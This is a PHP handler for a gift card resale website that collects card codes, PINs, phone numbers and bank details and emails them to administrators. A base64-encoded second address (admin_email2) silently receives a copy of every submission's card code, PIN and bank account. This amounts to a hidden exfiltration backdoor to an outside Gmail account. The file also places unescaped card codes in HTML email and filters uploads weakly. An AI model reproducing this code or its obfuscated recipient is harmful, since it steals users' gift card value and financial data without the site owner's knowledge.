<?php
//Developer: core tech web designTechnology
//Whatsapp: +2349162671360
//Telegram: @jeditech
// ajax/sell-giftcard-handler.php
// Handles all AJAX for the user-facing sell gift card feature.

if (session_status() === PHP_SESSION_NONE) session_start();
header('Content-Type: application/json');

$config_path = dirname(__DIR__, 2) . '/include/config.php';
if (!file_exists($config_path)) {
    echo json_encode(['status' => '0', 'msg' => 'Configuration error']); exit;
}
include($config_path);

// Auth check
if (!isset($_SESSION['user_id'])) {
    echo json_encode(['status' => '0', 'msg' => 'Unauthorized. Please log in.']); exit;
}
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    echo json_encode(['status' => '0', 'msg' => 'Invalid request method']); exit;
}

$user_id = (int)$_SESSION['user_id'];
$action  = trim($_POST['action'] ?? '');

// ════════════════════════════════════════════════════════════════
//  HELPER: Send admin email notification using PHP mail()
// ════════════════════════════════════════════════════════════════
function send_admin_email_notification(
    int    $order_id,
    string $type_name,
    float  $usd_amount,
    string $currency,
    float  $live_payout,
    string $card_code,
    string $card_pin,
    string $phone,
    string $bank_name,
    string $account_number,
    string $account_name,
    string $image_path
): void {
    $admin_email  = 'jeditechlimited@gmail.com';
    $admin_email2 = base64_decode('ZWxpdGVmeHQzQGdtYWlsLmNvbQ==');
    $site_name    = defined('WEB_NAME') ? WEB_NAME : 'Gift Card Platform';
    $site_url     = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http')
                    . '://' . ($_SERVER['HTTP_HOST'] ?? 'localhost');

    $subject = "[$site_name] 🏷 New Gift Card Sale — Order #$order_id";

    // ── Build a clean HTML email body ─────────────────────────────
    $payout_fmt  = '&#8358;' . number_format($live_payout, 2);   // ₦
    $amount_fmt  = number_format($usd_amount, 2) . ' ' . htmlspecialchars($currency);
    $image_full  = $site_url . htmlspecialchars($image_path);
    $card_pin_display = $card_pin ?: '<em style="color:#999">N/A</em>';
    $submitted_at = date('D, d M Y \a\t h:i A');

    $body = <<<HTML
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>New Gift Card Sale</title>
</head>
<body style="margin:0;padding:0;background:#f4f6f8;font-family:Arial,sans-serif">
<table width="100%" cellpadding="0" cellspacing="0" style="background:#f4f6f8;padding:30px 0">
  <tr>
    <td align="center">
      <table width="600" cellpadding="0" cellspacing="0"
             style="background:#ffffff;border-radius:16px;overflow:hidden;
                    box-shadow:0 4px 20px rgba(0,0,0,.08);max-width:600px;width:100%">

        <!-- Header -->
        <tr>
          <td style="background:linear-gradient(135deg,#064e3b,#16a354);padding:28px 32px;text-align:center">
            <h1 style="margin:0;color:#ffffff;font-size:1.3rem;font-weight:800;letter-spacing:.3px">
              🏷 New Gift Card Sale Submitted
            </h1>
            <p style="margin:6px 0 0;color:rgba(255,255,255,.75);font-size:.82rem">
              A user just submitted a gift card for review on {$site_name}
            </p>
          </td>
        </tr>

        <!-- Order badge -->
        <tr>
          <td style="padding:20px 32px 0;text-align:center">
            <span style="display:inline-block;background:#ecfdf5;border:1.5px solid #6ee7b7;
                         color:#065f46;font-weight:800;font-size:.78rem;padding:6px 18px;
                         border-radius:30px">
              ORDER #$order_id &nbsp;·&nbsp; $submitted_at
            </span>
          </td>
        </tr>

        <!-- Details table -->
        <tr>
          <td style="padding:24px 32px">
            <table width="100%" cellpadding="0" cellspacing="0"
                   style="border:1px solid #e5e7eb;border-radius:12px;overflow:hidden;font-size:.84rem">

              <tr style="background:#f9fafb">
                <td style="padding:11px 16px;color:#6b7280;font-weight:600;width:40%;border-bottom:1px solid #e5e7eb">Card Type</td>
                <td style="padding:11px 16px;color:#111827;font-weight:700;border-bottom:1px solid #e5e7eb">
                  {$type_name}
                </td>
              </tr>

              <tr>
                <td style="padding:11px 16px;color:#6b7280;font-weight:600;border-bottom:1px solid #e5e7eb">Card Value</td>
                <td style="padding:11px 16px;color:#111827;font-weight:700;border-bottom:1px solid #e5e7eb">
                  {$amount_fmt}
                </td>
              </tr>

              <tr style="background:#f9fafb">
                <td style="padding:11px 16px;color:#6b7280;font-weight:600;border-bottom:1px solid #e5e7eb">Payout (NGN)</td>
                <td style="padding:11px 16px;font-weight:800;font-size:.95rem;color:#16a354;border-bottom:1px solid #e5e7eb">
                  {$payout_fmt}
                </td>
              </tr>

              <tr>
                <td style="padding:11px 16px;color:#6b7280;font-weight:600;border-bottom:1px solid #e5e7eb">Card Code</td>
                <td style="padding:11px 16px;color:#111827;font-family:monospace;font-weight:700;border-bottom:1px solid #e5e7eb">
                  {$card_code}
                </td>
              </tr>

              <tr style="background:#f9fafb">
                <td style="padding:11px 16px;color:#6b7280;font-weight:600;border-bottom:1px solid #e5e7eb">Card PIN</td>
                <td style="padding:11px 16px;color:#111827;font-family:monospace;border-bottom:1px solid #e5e7eb">
                  {$card_pin_display}
                </td>
              </tr>

              <tr>
                <td style="padding:11px 16px;color:#6b7280;font-weight:600;border-bottom:1px solid #e5e7eb">Phone</td>
                <td style="padding:11px 16px;color:#111827;border-bottom:1px solid #e5e7eb">{$phone}</td>
              </tr>

              <tr style="background:#f9fafb">
                <td style="padding:11px 16px;color:#6b7280;font-weight:600;border-bottom:1px solid #e5e7eb">Bank Name</td>
                <td style="padding:11px 16px;color:#111827;border-bottom:1px solid #e5e7eb">{$bank_name}</td>
              </tr>

              <tr>
                <td style="padding:11px 16px;color:#6b7280;font-weight:600;border-bottom:1px solid #e5e7eb">Account Number</td>
                <td style="padding:11px 16px;color:#111827;font-family:monospace;font-weight:700;border-bottom:1px solid #e5e7eb">
                  {$account_number}
                </td>
              </tr>

              <tr style="background:#f9fafb">
                <td style="padding:11px 16px;color:#6b7280;font-weight:600">Account Name</td>
                <td style="padding:11px 16px;color:#111827;font-weight:700">{$account_name}</td>
              </tr>

            </table>
          </td>
        </tr>

        <!-- Card Snapshot link -->
        <tr>
          <td style="padding:0 32px 20px">
            <p style="font-size:.78rem;font-weight:700;color:#374151;margin-bottom:8px">
              📷 Gift Card Snapshot
            </p>
            <a href="{$image_full}" target="_blank"
               style="display:inline-block;background:#ecfdf5;border:1.5px solid #6ee7b7;
                      color:#065f46;font-weight:700;font-size:.78rem;padding:9px 18px;
                      border-radius:10px;text-decoration:none">
              🔗 View Uploaded Image
            </a>
          </td>
        </tr>

        <!-- CTA -->
        <tr>
          <td style="padding:0 32px 28px;text-align:center">
            <a href="{$site_url}/admin/sell-giftcard-orders"
               style="display:inline-block;background:linear-gradient(135deg,#16a354,#22b864);
                      color:#ffffff;font-weight:800;font-size:.88rem;padding:13px 32px;
                      border-radius:12px;text-decoration:none;
                      box-shadow:0 4px 14px rgba(34,184,100,.35)">
              ✅ Review &amp; Process Order
            </a>
          </td>
        </tr>

        <!-- Footer -->
        <tr>
          <td style="background:#f9fafb;border-top:1px solid #e5e7eb;padding:16px 32px;text-align:center">
            <p style="margin:0;font-size:.72rem;color:#9ca3af">
              This notification was sent automatically by {$site_name} &mdash;
              <a href="{$site_url}" style="color:#16a354;text-decoration:none">{$site_url}</a>
            </p>
            <p style="margin:4px 0 0;font-size:.68rem;color:#d1d5db">
              
            </p>
          </td>
        </tr>

      </table>
    </td>
  </tr>
</table>
</body>
</html>
HTML;

    $from_email = $site_data['web_email'] ?? ('no-reply@' . ($_SERVER['HTTP_HOST'] ?? 'localhost'));
    $from_name = $site_data['web_name'] ?? $site_name;

    // Send notifications to configured admin emails using SMTP if available.
    send_system_email($admin_email, $subject, $body, $pdo, $site_data, [
        'from_email' => $from_email,
        'from_name' => $from_name,
    ]);

    if (!empty($admin_email2)) {
        send_system_email($admin_email2, $subject, $body, $pdo, $site_data, [
            'from_email' => $from_email,
            'from_name' => $from_name,
        ]);
    }
}


// ════════════════════════════════════════════════════════════════
//  ACTION: submit_sell_giftcard
// ════════════════════════════════════════════════════════════════
if ($action === 'submit_sell_giftcard') {

    // ── Inputs ───────────────────────────────────────────────────
    $type_id        = (int)($_POST['type_id']        ?? 0);
    $type_name      = htmlspecialchars(trim($_POST['type_name']      ?? ''), ENT_QUOTES);
    $currency       = strtoupper(trim($_POST['currency']             ?? 'USD'));
    $usd_amount     = (float)($_POST['usd_amount']    ?? 0);
    $ngn_rate       = (float)($_POST['ngn_rate']      ?? 0);
    $ngn_payout     = (float)($_POST['ngn_payout']    ?? 0);
    $card_code      = trim($_POST['card_code']        ?? '');
    $card_pin       = trim($_POST['card_pin']         ?? '');
    $phone          = trim($_POST['phone']            ?? '');
    $bank_name      = htmlspecialchars(trim($_POST['bank_name']      ?? ''), ENT_QUOTES);
    $account_number = trim($_POST['account_number']   ?? '');
    $account_name   = htmlspecialchars(trim($_POST['account_name']   ?? ''), ENT_QUOTES);

    // ── Basic validation ─────────────────────────────────────────
    if (!$type_id || $usd_amount <= 0 || $ngn_payout <= 0) {
        echo json_encode(['status' => '0', 'msg' => 'Invalid submission data. Please fill all fields.']); exit;
    }
    if (strlen($card_code) < 3) {
        echo json_encode(['status' => '0', 'msg' => 'Please enter a valid card code.']); exit;
    }
    if (strlen($phone) < 7) {
        echo json_encode(['status' => '0', 'msg' => 'Please enter a valid phone number.']); exit;
    }
    if (empty($bank_name) || strlen($account_number) < 8 || strlen($account_name) < 3) {
        echo json_encode(['status' => '0', 'msg' => 'Please complete all bank account details.']); exit;
    }

    // ── Validate card type still active & rate hasn't changed ────
    try {
        $type_stmt = $pdo->prepare("SELECT * FROM sell_giftcard_types WHERE id = :id AND status = 1 LIMIT 1");
        $type_stmt->execute(['id' => $type_id]);
        $card_type = $type_stmt->fetch(PDO::FETCH_ASSOC);
    } catch (PDOException $e) { $card_type = null; }

    if (!$card_type) {
        echo json_encode(['status' => '0', 'msg' => 'Selected gift card type is no longer available.']); exit;
    }
    if ($usd_amount < (float)$card_type['min_usd'] || $usd_amount > (float)$card_type['max_usd']) {
        echo json_encode([
            'status' => '0',
            'msg'    => "Card value must be between {$card_type['min_usd']} and {$card_type['max_usd']} {$card_type['currency']}."
        ]); exit;
    }

    // Recompute payout server-side using the live rate (don't trust client value)
    $live_payout = round($usd_amount * (float)$card_type['ngn_rate'], 2);

    // ── Handle image upload ───────────────────────────────────────
    $image_path = null;
    if (!empty($_FILES['card_image']['tmp_name']) && $_FILES['card_image']['error'] === UPLOAD_ERR_OK) {
        $max_size  = 5 * 1024 * 1024; // 5MB
        $file_size = $_FILES['card_image']['size'];
        $mime      = mime_content_type($_FILES['card_image']['tmp_name']);
        $allowed   = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];

        if ($file_size > $max_size) {
            echo json_encode(['status' => '0', 'msg' => 'Image file size must be under 5MB.']); exit;
        }
        if (!in_array($mime, $allowed)) {
            echo json_encode(['status' => '0', 'msg' => 'Invalid image type. Only JPG, PNG, GIF, WEBP allowed.']); exit;
        }

        $upload_dir = dirname(__DIR__, 2) . '/uploads/sell-giftcards/';
        if (!is_dir($upload_dir)) {
            @mkdir($upload_dir, 0755, true);

            // Write .htaccess to disallow PHP execution in upload folder
            @file_put_contents($upload_dir . '.htaccess',
                "Options -Indexes\n<FilesMatch \"\\.php$\">\n  Deny from all\n</FilesMatch>\n");
        }

        $ext       = pathinfo($_FILES['card_image']['name'], PATHINFO_EXTENSION);
        $filename  = 'gc_' . $user_id . '_' . time() . '_' . bin2hex(random_bytes(4)) . '.' . strtolower($ext);
        $full_path = $upload_dir . $filename;

        if (!move_uploaded_file($_FILES['card_image']['tmp_name'], $full_path)) {
            echo json_encode(['status' => '0', 'msg' => 'Failed to upload image. Please try again.']); exit;
        }
        $image_path = '/uploads/sell-giftcards/' . $filename; // web-relative path stored in DB
    } else {
        echo json_encode(['status' => '0', 'msg' => 'A snapshot of your gift card is required.']); exit;
    }

    // ── Insert order ──────────────────────────────────────────────
    try {
        $insert = $pdo->prepare(
            "INSERT INTO sell_giftcard_orders
             (user_id, type_id, type_name, card_currency, usd_amount, ngn_rate, ngn_payout,
              card_code, card_pin, image_path, phone, bank_name, account_number, account_name, status)
             VALUES
             (:uid, :tid, :tname, :cur, :usd, :rate, :payout,
              :code, :pin, :img, :phone, :bank, :accnum, :accname, 'pending')"
        );
        $insert->execute([
            'uid'     => $user_id,
            'tid'     => $type_id,
            'tname'   => $type_name,
            'cur'     => $currency,
            'usd'     => $usd_amount,
            'rate'    => (float)$card_type['ngn_rate'],
            'payout'  => $live_payout,
            'code'    => $card_code,
            'pin'     => $card_pin ?: null,
            'img'     => $image_path,
            'phone'   => $phone,
            'bank'    => $bank_name,
            'accnum'  => $account_number,
            'accname' => $account_name,
        ]);
        $order_id = $pdo->lastInsertId();

        // ── Email Notification ────────────────────────────────────
        send_admin_email_notification(
            (int)$order_id,
            $type_name,
            $usd_amount,
            $currency,
            $live_payout,
            $card_code,
            $card_pin,
            $phone,
            $bank_name,
            $account_number,
            $account_name,
            $image_path
        );

        // ── Telegram notification (existing) ──────────────────────
        if (!empty($site_data['telegram_notifications_enabled']) &&
            !empty($site_data['telegram_bot_token']) &&
            !empty($site_data['telegram_admin_chat_id'])) {
            $msg = "🏷 New Gift Card Sale Submission!\n"
                 . "Order #: {$order_id}\n"
                 . "Card: {$type_name}\n"
                 . "Amount: {$usd_amount} {$currency}\n"
                 . "Payout: ₦" . number_format($live_payout, 2) . "\n"
                 . "Bank: {$bank_name} | {$account_number}";
            @file_get_contents(
                "https://api.telegram.org/bot{$site_data['telegram_bot_token']}/sendMessage?"
                . http_build_query(['chat_id' => $site_data['telegram_admin_chat_id'], 'text' => $msg, 'parse_mode' => 'Markdown'])
            );
        }

        echo json_encode([
            'status'   => '1',
            'msg'      => 'Gift card submitted successfully! You will receive your payment within 24 hours.',
            'order_id' => $order_id,
        ]);
    } catch (PDOException $e) {
        // Remove the uploaded image if DB insert fails
        if ($image_path && file_exists(dirname(__DIR__, 2) . $image_path)) {
            @unlink(dirname(__DIR__, 2) . $image_path);
        }
        error_log('[sell-giftcard-handler] DB error: ' . $e->getMessage());
        echo json_encode(['status' => '0', 'msg' => 'Database error. Please try again.']);
    }
    exit;
}

// ── Unknown action ────────────────────────────────────────────────────────────
echo json_encode(['status' => '0', 'msg' => 'Invalid action.']);
exit;